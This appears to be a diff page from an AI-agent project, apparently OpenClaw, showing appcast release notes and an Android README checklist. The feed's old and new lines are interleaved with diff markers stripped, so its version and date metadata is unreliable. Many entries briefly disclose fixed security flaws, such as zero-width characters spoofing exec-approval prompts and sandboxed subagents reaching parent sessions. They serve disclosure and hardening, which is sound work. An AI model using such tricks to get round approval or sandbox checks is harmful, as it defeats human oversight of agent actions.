<li>Mattermost/block streaming: fix duplicate message delivery (one threaded, one top-level) when block streaming is active by excluding <code>replyToId</code> from the block reply dedup key and adding an explicit <code>threading</code> dock to the Mattermost plugin. (#41362) Thanks @mathiasnagler and @vincentkoc.</li>
<li>Mattermost/reply media delivery: pass agent-scoped <code>mediaLocalRoots</code> through shared reply delivery so allowed local files upload correctly from button, slash-command, and model-picker replies. (#44021) Thanks @LyleLiu666.</li>
<li>macOS/Reminders: add the missing <code>NSRemindersUsageDescription</code> to the bundled app so <code>apple-reminders</code> can trigger the system permission prompt from OpenClaw.app. (#8559) Thanks @dinakars777.</li>
<li>Gateway/session discovery: discover disk-only and retired ACP session stores under custom templated <code>session.store</code> roots so ACP reconciliation, session-id/session-label targeting, and run-id fallback keep working after restart. (#44176) thanks @gumadeiras.</li>
<li>Plugins/env-scoped roots: fix plugin discovery/load caches and provenance tracking so same-process <code>HOME</code>/<code>OPENCLAW_HOME</code> changes no longer reuse stale plugin state or misreport <code>~/...</code> plugins as untracked. (#44046) thanks @gumadeiras.</li>
<li>Models/OpenRouter native ids: canonicalize native OpenRouter model keys across config writes, runtime lookups, fallback management, and <code>models list --plain</code>, and migrate legacy duplicated <code>openrouter/openrouter/...</code> config entries forward on write.</li>
<li>Windows/native update: make package installs use the npm update path instead of the git path, carry portable Git into native Windows updates, and mirror the installer's Windows npm env so <code>openclaw update</code> no longer dies early on missing <code>git</code> or <code>node-llama-cpp</code> download setup.</li>
<li>Sandbox/write: preserve pinned mutation-helper payload stdin so sandboxed <code>write</code> no longer reports success while creating empty files. (#43876) Thanks @glitch418x.</li>
<li>Security/exec approvals: escape invisible Unicode format characters in approval prompts so zero-width command text renders as visible <code>\u{...}</code> escapes instead of spoofing the reviewed command. (<code>GHSA-pcqg-f7rg-xfvv</code>)(#43687) Thanks @EkiXu and @vincentkoc.</li>
<li>Hooks/loader: fail closed when workspace hook paths cannot be resolved with <code>realpath</code>, so unreadable or broken internal hook paths are skipped instead of falling back to unresolved imports. (#44437) Thanks @vincentkoc.</li>
<li>Hooks/agent deliveries: dedupe repeated hook requests by optional idempotency key so webhook retries can reuse the first run instead of launching duplicate agent executions. (#44438) Thanks @vincentkoc.</li>
<li>Security/exec detection: normalize compatibility Unicode and strip invisible formatting code points before obfuscation checks so zero-width and fullwidth command tricks no longer suppress heuristic detection. (<code>GHSA-9r3v-37xh-2cf6</code>)(#44091) Thanks @wooluo and @vincentkoc.</li>
<li>Security/exec allowlist: preserve POSIX case sensitivity and keep <code>?</code> within a single path segment so exact-looking allowlist patterns no longer overmatch executables across case or directory boundaries. (<code>GHSA-f8r2-vg7x-gh8m</code>)(#43798) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/commands: require sender ownership for <code>/config</code> and <code>/debug</code> so authorized non-owner senders can no longer reach owner-only config and runtime debug surfaces. (<code>GHSA-r7vr-gr74-94p8</code>)(#44305) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/gateway auth: clear unbound client-declared scopes on shared-token WebSocket connects so device-less shared-token operators cannot self-declare elevated scopes. (<code>GHSA-rqpp-rjj8-7wv8</code>)(#44306) Thanks @LUOYEcode and @vincentkoc.</li>
<li>Security/browser.request: block persistent browser profile create/delete routes from write-scoped <code>browser.request</code> so callers can no longer persist admin-only browser profile changes through the browser control surface. (<code>GHSA-vmhq-cqm9-6p7q</code>)(#43800) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/agent: reject public spawned-run lineage fields and keep workspace inheritance on the internal spawned-session path so external <code>agent</code> callers can no longer override the gateway workspace boundary. (<code>GHSA-2rqg-gjgv-84jm</code>)(#43801) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/session_status: enforce sandbox session-tree visibility and shared agent-to-agent access guards before reading or mutating target session state, so sandboxed subagents can no longer inspect parent session metadata or write parent model overrides via <code>session_status</code>. (<code>GHSA-wcxr-59v9-rxr8</code>)(#43754) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/agent tools: mark <code>nodes</code> as explicitly owner-only and document/test that <code>canvas</code> remains a shared trusted-operator surface unless a real boundary bypass exists.</li>
<li>Security/exec approvals: fail closed for Ruby approval flows that use <code>-r</code>, <code>--require</code>, or <code>-I</code> so approval-backed commands no longer bind only the main script while extra local code-loading flags remain outside the reviewed file snapshot.</li>
<li>Security/device pairing: cap issued and verified device-token scopes to each paired device's approved scope baseline so stale or overbroad tokens cannot exceed approved access. (<code>GHSA-2pwv-x786-56f8</code>)(#43686) Thanks @tdjackey and @vincentkoc.</li>
<li>Docs/onboarding: align the legacy wizard reference and <code>openclaw onboard</code> command docs with the Ollama onboarding flow so all onboarding reference paths now document <code>--auth-choice ollama</code>, Cloud + Local mode, and non-interactive usage. (#43473) Thanks @BruceMacD.</li>
<li>Models/secrets: enforce source-managed SecretRef markers in generated <code>models.json</code> so runtime-resolved provider secrets are not persisted when runtime projection is skipped. (#43759) Thanks @joshavant.</li>
<li>Security/WebSocket preauth: shorten unauthenticated handshake retention and reject oversized pre-auth frames before application-layer parsing to reduce pre-pairing exposure on unsupported public deployments. (<code>GHSA-jv4g-m82p-2j93</code>)(#44089) (<code>GHSA-xwx2-ppv2-wx98</code>)(#44089) Thanks @ez-lbz and @vincentkoc.</li>
<li>Security/proxy attachments: restore the shared media-store size cap for persisted browser proxy files so oversized payloads are rejected instead of overriding the intended 5 MB limit. (<code>GHSA-6rph-mmhp-h7h9</code>)(#43684) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/host env: block inherited <code>GIT_EXEC_PATH</code> from sanitized host exec environments so Git helper resolution cannot be steered by host environment state. (<code>GHSA-jf5v-pqgw-gm5m</code>)(#43685) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/Feishu webhook: require <code>encryptKey</code> alongside <code>verificationToken</code> in webhook mode so unsigned forged events are rejected instead of being processed with token-only configuration. (<code>GHSA-g353-mgv3-8pcj</code>)(#44087) Thanks @lintsinghua and @vincentkoc.</li>
<li>Security/Feishu reactions: preserve looked-up group chat typing and fail closed on ambiguous reaction context so group authorization and mention gating cannot be bypassed through synthetic <code>p2p</code> reactions. (<code>GHSA-m69h-jm2f-2pv8</code>)(#44088) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/LINE webhook: require signatures for empty-event POST probes too so unsigned requests no longer confirm webhook reachability with a <code>200</code> response. (<code>GHSA-mhxh-9pjm-w7q5</code>)(#44090) Thanks @TerminalsandCoffee and @vincentkoc.</li>
<li>Security/Zalo webhook: rate limit invalid secret guesses before auth so weak webhook secrets cannot be brute-forced through unauthenticated churned requests without pre-auth <code>429</code> responses. (<code>GHSA-5m9r-p9g7-679c</code>)(#44173) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/Zalouser groups: require stable group IDs for allowlist auth by default and gate mutable group-name matching behind <code>channels.zalouser.dangerouslyAllowNameMatching</code>. Thanks @zpbrent.</li>
<li>Security/Slack and Teams routing: require stable channel and team IDs for allowlist routing by default, with mutable name matching only via each channel's <code>dangerouslyAllowNameMatching</code> break-glass flag.</li>
<li>Security/exec approvals: fail closed for ambiguous inline loader and shell-payload script execution, bind the real script after POSIX shell value-taking flags, and unwrap <code>pnpm</code>/<code>npm exec</code>/<code>npx</code> script runners before approval binding. (<code>GHSA-57jw-9722-6rf2</code>)(<code>GHSA-jvqh-rfmh-jh27</code>)(<code>GHSA-x7pp-23xv-mmr4</code>)(<code>GHSA-jc5j-vg4r-j5jx</code>)(#44247) Thanks @tdjackey and @vincentkoc.</li>
<li>Doctor/gateway service audit: canonicalize service entrypoint paths before comparing them so symlink-vs-realpath installs no longer trigger false "entrypoint does not match the current install" repair prompts. (#43882) Thanks @ngutman.</li>
<li>Doctor/gateway service audit: earlier groundwork for this fix landed in the superseded #28338 branch. Thanks @realriphub.</li>
<li>Gateway/session stores: regenerate the Swift push-test protocol models and align Windows native session-store realpath handling so protocol checks and sync session discovery stop drifting on Windows. (#44266) thanks @jalehman.</li>
<li>Context engine/session routing: forward optional <code>sessionKey</code> through context-engine lifecycle calls so plugins can see structured routing metadata during bootstrap, assembly, post-turn ingestion, and compaction. (#44157) thanks @jalehman.</li>
<li>Agents/failover: classify z.ai <code>network_error</code> stop reasons as retryable timeouts so provider connectivity failures trigger fallback instead of surfacing raw unhandled-stop-reason errors. (#43884) Thanks @hougangdev.</li>
<li>Memory/session sync: add mode-aware post-compaction session reindexing with <code>agents.defaults.compaction.postIndexSync</code> plus <code>agents.defaults.memorySearch.sync.sessions.postCompactionForce</code>, so compacted session memory can refresh immediately without forcing every deployment into synchronous reindexing. (#25561) thanks @rodrigouroz.</li>
<li>Telegram/model picker: make inline model button selections persist the chosen session model correctly, clear overrides when selecting the configured default, and include effective fallback models in <code>/models</code> button validation. (#40105) Thanks @avirweb.</li>
<li>Telegram/native command sync: suppress expected <code>BOT_COMMANDS_TOO_MUCH</code> retry error noise, add a final fallback summary log, and document the difference between command-menu overflow and real Telegram network failures.</li>
<li>Mattermost/reply media delivery: pass agent-scoped <code>mediaLocalRoots</code> through shared reply delivery so allowed local files upload correctly from button, slash-command, and model-picker replies. (#44021) Thanks @LyleLiu666.</li>
<li>Plugins/env-scoped roots: fix plugin discovery/load caches and provenance tracking so same-process <code>HOME</code>/<code>OPENCLAW_HOME</code> changes no longer reuse stale plugin state or misreport <code>~/...</code> plugins as untracked. (#44046) thanks @gumadeiras.</li>
<li>Gateway/session discovery: discover disk-only and retired ACP session stores under custom templated <code>session.store</code> roots so ACP reconciliation, session-id/session-label targeting, and run-id fallback keep working after restart. (#44176) thanks @gumadeiras.</li>
<li>Models/OpenRouter native ids: canonicalize native OpenRouter model keys across config writes, runtime lookups, fallback management, and <code>models list --plain</code>, and migrate legacy duplicated <code>openrouter/openrouter/...</code> config entries forward on write.</li>
<li>Gateway/hooks: bucket hook auth failures by forwarded client IP behind trusted proxies and warn when <code>hooks.allowedAgentIds</code> leaves hook routing unrestricted.</li>
<li>Agents/compaction: skip the post-compaction <code>cache-ttl</code> marker write when a compaction completed in the same attempt, preventing the next turn from immediately triggering a second tiny compaction. (#28548) thanks @MoerAI.</li>
<li>Native chat/macOS: add <code>/new</code>, <code>/reset</code>, and <code>/clear</code> reset triggers, keep shared main-session aliases aligned, and ignore stale model-selection completions so native chat state stays in sync across reset and fast model changes. (#10898) Thanks @Nachx639.</li>
<li>Agents/compaction safeguard: route missing-model and missing-API-key cancellation warnings through the shared subsystem logger so they land in structured and file logs. (#9974) Thanks @dinakars777.</li>
<li>Cron/doctor: stop flagging canonical <code>agentTurn</code> and <code>systemEvent</code> payload kinds as legacy cron storage, while still normalizing whitespace-padded and non-canonical variants. (#44012) Thanks @shuicici.</li>
<li>ACP/client final-message delivery: preserve terminal assistant text snapshots before resolving <code>end_turn</code>, so ACP clients no longer drop the last visible reply when the gateway sends the final message body on the terminal chat event. (#17615) Thanks @pjeby.</li>
<li>Telegram/Discord status reactions: show a temporary compacting reaction during auto-compaction pauses and restore thinking afterward so the bot no longer appears frozen while context is being compacted. (#35474) thanks @Cypherm.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
]]></description>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.2.2/OpenClaw-2026.2.2.zip" length="22519052" type="application/octet-stream" sparkle:edSignature="a6viD+aS5EfY/RkPIPMfoQQNkJCk6QTdV5WobXFxyYwURskUm8/nXTHVXsCh1c5+0WKUnmlDIyf0i+6IWiavAA=="/>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.3.12/OpenClaw-2026.3.12.zip" length="23628700" type="application/octet-stream" sparkle:edSignature="o6Zdcw36l3I0jUg14H+RBqNwrhuuSsq1WMDi4tBRa1+5TC3VCVdFKZ2hzmH2Xjru9lDEzVMP8v2A6RexSbOCBQ=="/>
</item>
<item>
<title>2026.2.1</title>
<pubDate>Mon, 02 Feb 2026 03:53:03 -0800</pubDate>
<title>2026.3.8-beta.1</title>
<pubDate>Mon, 09 Mar 2026 07:19:57 +0000</pubDate>
<link>https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml</link>
<sparkle:version>8650</sparkle:version>
<sparkle:shortVersionString>2026.2.1</sparkle:shortVersionString>
<sparkle:version>2026030801</sparkle:version>
<sparkle:shortVersionString>2026.3.8-beta.1</sparkle:shortVersionString>
<sparkle:minimumSystemVersion>15.0</sparkle:minimumSystemVersion>
<description><![CDATA[<h2>OpenClaw 2026.2.1</h2>
<description><![CDATA[<h2>OpenClaw 2026.3.8-beta.1</h2>
<h3>Changes</h3>
<ul>
<li>Docs: onboarding/install/i18n/exec-approvals/Control UI/exe.dev/cacheRetention updates + misc nav/typos. (#3050, #3461, #4064, #4675, #4729, #4763, #5003, #5402, #5446, #5474, #5663, #5689, #5694, #5967, #6270, #6300, #6311, #6416, #6487, #6550, #6789)</li>
<li>Telegram: use shared pairing store. (#6127) Thanks @obviyus.</li>
<li>Agents: add OpenRouter app attribution headers. Thanks @alexanderatallah.</li>
<li>Agents: add system prompt safety guardrails. (#5445) Thanks @joshp123.</li>
<li>Agents: update pi-ai to 0.50.9 and rename cacheControlTtl -> cacheRetention (with back-compat mapping).</li>
<li>Agents: extend CreateAgentSessionOptions with systemPrompt/skills/contextFiles.</li>
<li>Agents: add tool policy conformance snapshot (no runtime behavior change). (#6011)</li>
<li>Auth: update MiniMax OAuth hint + portal auth note copy.</li>
<li>Discord: inherit thread parent bindings for routing. (#3892) Thanks @aerolalit.</li>
<li>Gateway: inject timestamps into agent and chat.send messages. (#3705) Thanks @conroywhitney, @CashWilliams.</li>
<li>Gateway: require TLS 1.3 minimum for TLS listeners. (#5970) Thanks @loganaden.</li>
<li>Web UI: refine chat layout + extend session active duration.</li>
<li>CI: add formal conformance + alias consistency checks. (#5723, #5807)</li>
<li>CLI/backup: add <code>openclaw backup create</code> and <code>openclaw backup verify</code> for local state archives, including <code>--only-config</code>, <code>--no-include-workspace</code>, manifest/payload validation, and backup guidance in destructive flows. (#40163) thanks @shichangs.</li>
<li>macOS/onboarding: add a remote gateway token field for remote mode, preserve existing non-plaintext <code>gateway.remote.token</code> config values until explicitly replaced, and warn when the loaded token shape cannot be used directly from the macOS app. (#40187, supersedes #34614) Thanks @cgdusek.</li>
<li>Talk mode: add top-level <code>talk.silenceTimeoutMs</code> config so Talk waits a configurable amount of silence before auto-sending the current transcript, while keeping each platform's existing default pause window when unset. (#39607) Thanks @danodoesdesign. Fixes #17147.</li>
<li>TUI: infer the active agent from the current workspace when launched inside a configured agent workspace, while preserving explicit <code>agent:</code> session targets. (#39591) thanks @arceus77-7.</li>
<li>Tools/Brave web search: add opt-in <code>tools.web.search.brave.mode: "llm-context"</code> so <code>web_search</code> can call Brave's LLM Context endpoint and return extracted grounding snippets with source metadata, plus config/docs/test coverage. (#33383) Thanks @thirumaleshp.</li>
<li>CLI/install: include the short git commit hash in <code>openclaw --version</code> output when metadata is available, and keep installer version checks compatible with the decorated format. (#39712) thanks @sourman.</li>
<li>CLI/backup: improve archive naming for date sorting, add config-only backup mode, and harden backup planning, publication, and verification edge cases. (#40163) Thanks @gumadeiras.</li>
<li>ACP/Provenance: add optional ACP ingress provenance metadata and visible receipt injection (<code>openclaw acp --provenance off|meta|meta+receipt</code>) so OpenClaw agents can retain and report ACP-origin context with session trace IDs. (#40473) thanks @mbelinky.</li>
<li>Tools/web search: alphabetize provider ordering across runtime selection, onboarding/configure pickers, and config metadata, so provider lists stay neutral and multi-key auto-detect now prefers Grok before Kimi. (#40259) thanks @kesku.</li>
<li>Docs/Web search: restore $5/month free-credit details, replace defunct "Data for Search"/"Data for AI" plan names with current "Search" plan, and note legacy subscription validity in Brave setup docs. Follows up on #26860. (#40111) Thanks @remusao.</li>
<li>Extensions/ACPX tests: move the shared runtime fixture helper from <code>src/runtime-internals/</code> to <code>src/test-utils/</code> so the test-only helper no longer looks like shipped runtime code.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Plugins: validate plugin/hook install paths and reject traversal-like names.</li>
<li>Telegram: add download timeouts for file fetches. (#6914) Thanks @hclsys.</li>
<li>Telegram: enforce thread specs for DM vs forum sends. (#6833) Thanks @obviyus.</li>
<li>Streaming: flush block streaming on paragraph boundaries for newline chunking. (#7014)</li>
<li>Streaming: stabilize partial streaming filters.</li>
<li>Auto-reply: avoid referencing workspace files in /new greeting prompt. (#5706) Thanks @bravostation.</li>
<li>Tools: align tool execute adapters/signatures (legacy + parameter order + arg normalization).</li>
<li>Tools: treat <code>"*"</code> tool allowlist entries as valid to avoid spurious unknown-entry warnings.</li>
<li>Skills: update session-logs paths from .clawdbot to .openclaw. (#4502)</li>
<li>Slack: harden media fetch limits and Slack file URL validation. (#6639) Thanks @davidiach.</li>
<li>Lint: satisfy curly rule after import sorting. (#6310)</li>
<li>Process: resolve Windows <code>spawn()</code> failures for npm-family CLIs by appending <code>.cmd</code> when needed. (#5815) Thanks @thejhinvirtuoso.</li>
<li>Discord: resolve PluralKit proxied senders for allowlists and labels. (#5838) Thanks @thewilloftheshadow.</li>
<li>Tlon: add timeout to SSE client fetch calls (CWE-400). (#5926)</li>
<li>Memory search: L2-normalize local embedding vectors to fix semantic search. (#5332)</li>
<li>Agents: align embedded runner + typings with pi-coding-agent API updates (pi 0.51.0).</li>
<li>Agents: ensure OpenRouter attribution headers apply in the embedded runner.</li>
<li>Agents: cap context window resolution for compaction safeguard. (#6187) Thanks @iamEvanYT.</li>
<li>System prompt: resolve overrides and hint using session_status for current date/time. (#1897, #1928, #2108, #3677)</li>
<li>Agents: fix Pi prompt template argument syntax. (#6543)</li>
<li>Subagents: fix announce failover race (always emit lifecycle end; timeout=0 means no-timeout). (#6621)</li>
<li>Teams: gate media auth retries.</li>
<li>Telegram: restore draft streaming partials. (#5543) Thanks @obviyus.</li>
<li>Onboarding: friendlier Windows onboarding message. (#6242) Thanks @shanselman.</li>
<li>TUI: prevent crash when searching with digits in the model selector.</li>
<li>Agents: wire before_tool_call plugin hook into tool execution. (#6570, #6660) Thanks @ryancnelson.</li>
<li>Browser: secure Chrome extension relay CDP sessions.</li>
<li>Docker: use container port for gateway command instead of host port. (#5110) Thanks @mise42.</li>
<li>fix(lobster): block arbitrary exec via lobsterPath/cwd injection (GHSA-4mhr-g7xj-cg8j). (#5335) Thanks @vignesh07.</li>
<li>Security: sanitize WhatsApp accountId to prevent path traversal. (#4610)</li>
<li>Security: restrict MEDIA path extraction to prevent LFI. (#4930)</li>
<li>Security: validate message-tool filePath/path against sandbox root. (#6398)</li>
<li>Security: block LD*/DYLD* env overrides for host exec. (#4896) Thanks @HassanFleyah.</li>
<li>Security: harden web tool content wrapping + file parsing safeguards. (#4058) Thanks @VACInc.</li>
<li>Security: enforce Twitch <code>allowFrom</code> allowlist gating (deny non-allowlisted senders). Thanks @MegaManSec.</li>
<li>macOS app/chat UI: route browser proxy through the local node browser service, preserve plain-text paste semantics, strip completed assistant trace/debug wrapper noise from transcripts, refresh permission state after returning from System Settings, and tolerate malformed cron rows in the macOS tab. (#39516) Thanks @Imhermes1.</li>
<li>Android/Play distribution: remove self-update, background location, <code>screen.record</code>, and background mic capture from the Android app, narrow the foreground service to <code>dataSync</code> only, and clean up the legacy <code>location.enabledMode=always</code> preference migration. (#39660) Thanks @obviyus.</li>
<li>Telegram/DM routing: dedupe inbound Telegram DMs per agent instead of per session key so the same DM cannot trigger duplicate replies when both <code>agent:main:main</code> and <code>agent:main:telegram:direct:<id></code> resolve for one agent. Fixes #40005. Supersedes #40116. (#40519) thanks @obviyus.</li>
<li>Cron/Telegram announce delivery: route text-only announce jobs through the real outbound adapters after finalizing descendant output so plain Telegram targets no longer report <code>delivered: true</code> when no message actually reached Telegram. (#40575) thanks @obviyus.</li>
<li>Matrix/DM routing: add safer fallback detection for broken <code>m.direct</code> homeservers, honor explicit room bindings over DM classification, and preserve room-bound agent selection for Matrix DM rooms. (#19736) Thanks @derbronko.</li>
<li>Feishu/plugin onboarding: clear the short-lived plugin discovery cache before reloading the registry after installing a channel plugin, so onboarding no longer re-prompts to download Feishu immediately after a successful install. Fixes #39642. (#39752) Thanks @GazeKingNuWu.</li>
<li>Plugins/channel onboarding: prefer bundled channel plugins over duplicate npm-installed copies during onboarding and release-channel sync, preventing bundled plugins from being shadowed by npm installs with the same plugin ID. (#40092)</li>
<li>Config/runtime snapshots: keep secrets-runtime-resolved config and auth-profile snapshots intact after config writes so follow-up reads still see file-backed secret values while picking up the persisted config update. (#37313) thanks @bbblending.</li>
<li>Gateway/Control UI: resolve bundled dashboard assets through symlinked global wrappers and auto-detected package roots, while keeping configured and custom roots on the strict hardlink boundary. (#40385) Thanks @LarytheLord.</li>
<li>Browser/extension relay: add <code>browser.relayBindHost</code> so the Chrome relay can bind to an explicit non-loopback address for WSL2 and other cross-namespace setups, while preserving loopback-only defaults. (#39364) Thanks @mvanhorn.</li>
<li>Browser/CDP: normalize loopback direct WebSocket CDP URLs back to HTTP(S) for <code>/json/*</code> tab operations so local <code>ws://</code> / <code>wss://</code> profiles can still list, focus, open, and close tabs after the new direct-WS support lands. (#31085) Thanks @shrey150.</li>
<li>Browser/CDP: rewrite wildcard <code>ws://0.0.0.0</code> and <code>ws://[::]</code> debugger URLs from remote <code>/json/version</code> responses back to the external CDP host/port, fixing Browserless-style container endpoints. (#17760) Thanks @joeharouni.</li>
<li>Browser/extension relay: wait briefly for a previously attached Chrome tab to reappear after transient relay drops before failing with <code>tab not found</code>, reducing noisy reconnect flakes. (#32461) Thanks @AaronWander.</li>
<li>macOS/Tailscale gateway discovery: keep Tailscale Serve probing alive when other remote gateways are already discovered, prefer direct transport for resolved <code>.ts.net</code> and Tailscale Serve gateways, and set <code>TERM=dumb</code> for GUI-launched Tailscale CLI discovery. (#40167) thanks @ngutman.</li>
<li>TUI/theme: detect light terminal backgrounds via <code>COLORFGBG</code> and pick a WCAG AA-compliant light palette, with <code>OPENCLAW_THEME=light|dark</code> override for terminals without auto-detection. (#38636) Thanks @ademczuk and @vincentkoc.</li>
<li>Agents/openai-codex: normalize <code>gpt-5.4</code> fallback transport back to <code>openai-codex-responses</code> on <code>chatgpt.com/backend-api</code> when config drifts to the generic OpenAI responses endpoint. (#38736) Thanks @0xsline.</li>
<li>Models/openai-codex GPT-5.4 forward-compat: use the GPT-5.4 1,050,000-token context window and 128,000 max tokens for <code>openai-codex/gpt-5.4</code> instead of inheriting stale legacy Codex limits in resolver fallbacks and model listing. (#37876) thanks @yuweuii.</li>
<li>Tools/web search: restore Perplexity OpenRouter/Sonar compatibility for legacy <code>OPENROUTER_API_KEY</code>, <code>sk-or-...</code>, and explicit <code>perplexity.baseUrl</code> / <code>model</code> setups while keeping direct Perplexity keys on the native Search API path. (#39937) Thanks @obviyus.</li>
<li>Agents/failover: detect Amazon Bedrock <code>Too many tokens per day</code> quota errors as rate limits across fallback, cron retry, and memory embeddings while keeping context-window <code>too many tokens per request</code> errors out of the rate-limit lane. (#39377) Thanks @gambletan.</li>
<li>Mattermost replies: keep <code>root_id</code> pinned to the existing thread root when an agent replies inside a thread, while still using reply-target threading for top-level posts. (#27744) thanks @hnykda.</li>
<li>Telegram/DM partial streaming: keep DM preview lanes on real message edits instead of native draft materialization so final replies no longer flash a second duplicate copy before collapsing back to one.</li>
<li>macOS overlays: fix VoiceWake, Talk, and Notify overlay exclusivity crashes by removing shared <code>inout</code> visibility mutation from <code>OverlayPanelFactory.present</code>, and add a repeated Talk overlay smoke test. (#39275, #39321) Thanks @fellanH.</li>
<li>macOS Talk Mode: set the speech recognition request <code>taskHint</code> to <code>.dictation</code> for mic capture, and add regression coverage for the request defaults. (#38445) Thanks @dmiv.</li>
<li>macOS release packaging: default <code>scripts/package-mac-app.sh</code> to universal binaries for <code>BUILD_CONFIG=release</code>, and clarify that <code>scripts/package-mac-dist.sh</code> already produces the release zip + DMG. (#33891) Thanks @cgdusek.</li>
<li>Hooks/session-memory: keep <code>/new</code> and <code>/reset</code> memory artifacts in the bound agent workspace and align saved reset session keys with that workspace when stale main-agent keys leak into the hook path. (#39875) thanks @rbutera.</li>
<li>Sessions/model switch: clear stale cached <code>contextTokens</code> when a session changes models so status and runtime paths recompute against the active model window. (#38044) thanks @yuweuii.</li>
<li>ACP/session history: persist transcripts for successful ACP child runs, preserve exact transcript text, record ACP spawned-session lineage, and keep spawn-time transcript-path persistence best-effort so history storage failures do not block execution. (#40137) thanks @mbelinky.</li>
<li>Docs/browser: add a layered WSL2 + Windows remote Chrome CDP troubleshooting guide, including Control UI origin pitfalls and extension-relay bind-address guidance. (#39407) Thanks @Owlock.</li>
<li>Context engine registry/bundled builds: share the registry state through a <code>globalThis</code> singleton so duplicated bundled module copies can resolve engines registered by each other at runtime, with regression coverage for duplicate-module imports. (#40115) thanks @jalehman.</li>
<li>Podman/setup: fix <code>cannot chdir: Permission denied</code> in <code>run_as_user</code> when <code>setup-podman.sh</code> is invoked from a directory the target user cannot access, by wrapping user-switch calls in a subshell that cd's to <code>/tmp</code> with <code>/</code> fallback. (#39435) Thanks @langdon and @jlcbk.</li>
<li>Podman/SELinux: auto-detect SELinux enforcing/permissive mode and add <code>:Z</code> relabel to bind mounts in <code>run-openclaw-podman.sh</code> and the Quadlet template, fixing <code>EACCES</code> on Fedora/RHEL hosts. Supports <code>OPENCLAW_BIND_MOUNT_OPTIONS</code> override. (#39449) Thanks @langdon and @githubbzxs.</li>
<li>Agents/context-engine plugins: bootstrap runtime plugins once at embedded-run, compaction, and subagent boundaries so plugin-provided context engines and hooks load from the active workspace before runtime resolution. (#40232)</li>
<li>Docs/Changelog: correct the contributor credit for the bundled Control UI global-install fix to @LarytheLord. (#40420) Thanks @velvet-shark.</li>
<li>Telegram/media downloads: time out only stalled body reads so polling recovers from hung file downloads without aborting slow downloads that are still streaming data. (#40098) thanks @tysoncung.</li>
<li>Docker/runtime image: prune dev dependencies, strip build-only dist metadata for smaller Docker images. (#40307) Thanks @vincentkoc.</li>
<li>Gateway/restart timeout recovery: exit non-zero when restart-triggered shutdown drains time out so launchd/systemd restart the gateway instead of treating the failed restart as a clean stop. Landed from contributor PR #40380 by @dsantoreis. Thanks @dsantoreis.</li>
<li>Gateway/config restart guard: validate config before service start/restart and keep post-SIGUSR1 startup failures from crashing the gateway process, reducing invalid-config restart loops and macOS permission loss. Landed from contributor PR #38699 by @lml2468. Thanks @lml2468.</li>
<li>Gateway/launchd respawn detection: treat <code>XPC_SERVICE_NAME</code> as a launchd supervision hint so macOS restarts exit cleanly under launchd instead of attempting detached self-respawn. Landed from contributor PR #20555 by @dimat. Thanks @dimat.</li>
<li>Telegram/poll restart cleanup: abort the in-flight Telegram API fetch when shutdown or forced polling restarts stop a runner, preventing stale <code>getUpdates</code> long polls from colliding with the replacement runner. Landed from contributor PR #23950 by @Gkinthecodeland. Thanks @Gkinthecodeland.</li>
<li>Cron/restart catch-up staggering: limit immediate missed-job replay on startup and reschedule the deferred remainder from the post-catchup clock so restart bursts do not starve the gateway or silently skip overdue recurring jobs. Landed from contributor PR #18925 by @rexlunae. Thanks @rexlunae.</li>
<li>Cron/owner-only tools: pass trusted isolated cron runs into the embedded agent with owner context so <code>cron</code>/<code>gateway</code> tooling remains available after the owner-auth hardening narrowed direct-message ownership inference.</li>
<li>Browser/SSRF: block private-network intermediate redirect hops in strict browser navigation flows and fail closed when remote tab-open paths cannot inspect redirect chains. Thanks @zpbrent.</li>
<li>MS Teams/authz: keep <code>groupPolicy: "allowlist"</code> enforcing sender allowlists even when a team/channel route allowlist is configured, so route matches no longer widen group access to every sender in that route. Thanks @zpbrent.</li>
<li>Security/system.run: bind approved <code>bun</code> and <code>deno run</code> script operands to on-disk file snapshots so post-approval script rewrites are denied before execution.</li>
<li>Skills/download installs: pin the validated per-skill tools root before writing downloaded archives, so rebinding the lexical tools path cannot redirect download writes outside the intended tools directory. Thanks @tdjackey.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
]]></description>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.2.1/OpenClaw-2026.2.1.zip" length="22458919" type="application/octet-stream" sparkle:edSignature="kA/8VQlVdtYphcB1iuFrhWczwWKgkVZMfDfQ7T9WD405D8JKTv5CZ1n8lstIVkpk4xog3UhrfaaoTG8Bf8DMAQ=="/>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.3.8-beta.1/OpenClaw-2026.3.8-beta.1.zip" length="23407015" type="application/octet-stream" sparkle:edSignature="KCqhSmu4b0tHf55RqcQOHorsc55CgBI5BUmK/NTizxNq04INn/7QvsamHYQou9DbB2IW6B2nawBC4nn4au5yDA=="/>
</item>
</channel>
</rss>
</rss>

View File

@@ -1,13 +1,26 @@
## OpenClaw Node (Android) (internal)
## OpenClaw Android App
Modern Android node app: connects to the **Gateway WebSocket** (`_openclaw-gw._tcp`) and exposes **Canvas + Chat + Camera**.
Status: **extremely alpha**. The app is actively being rebuilt from the ground up.
Notes:
- The node keeps the connection alive via a **foreground service** (persistent notification with a Disconnect action).
- Chat always uses the shared session key **`main`** (same session across iOS/macOS/WebChat/Android).
- Supports modern Android only (`minSdk 31`, Kotlin + Jetpack Compose).
### Rebuild Checklist
- [x] New 4-step onboarding flow
- [x] Connect tab with `Setup Code` + `Manual` modes
- [x] Encrypted persistence for gateway setup/auth state
- [x] Chat UI restyled
- [x] Settings UI restyled and de-duplicated (gateway controls moved to Connect)
- [x] QR code scanning in onboarding
- [x] Performance improvements
- [x] Streaming support in chat UI
- [x] Request camera/location and other permissions in onboarding/settings flow
- [x] Push notifications for gateway/chat status updates
- [x] Security hardening (biometric lock, token handling, safer defaults)
- [x] Voice tab full functionality
- [x] Screen tab full functionality
- [ ] Full end-to-end QA and release hardening
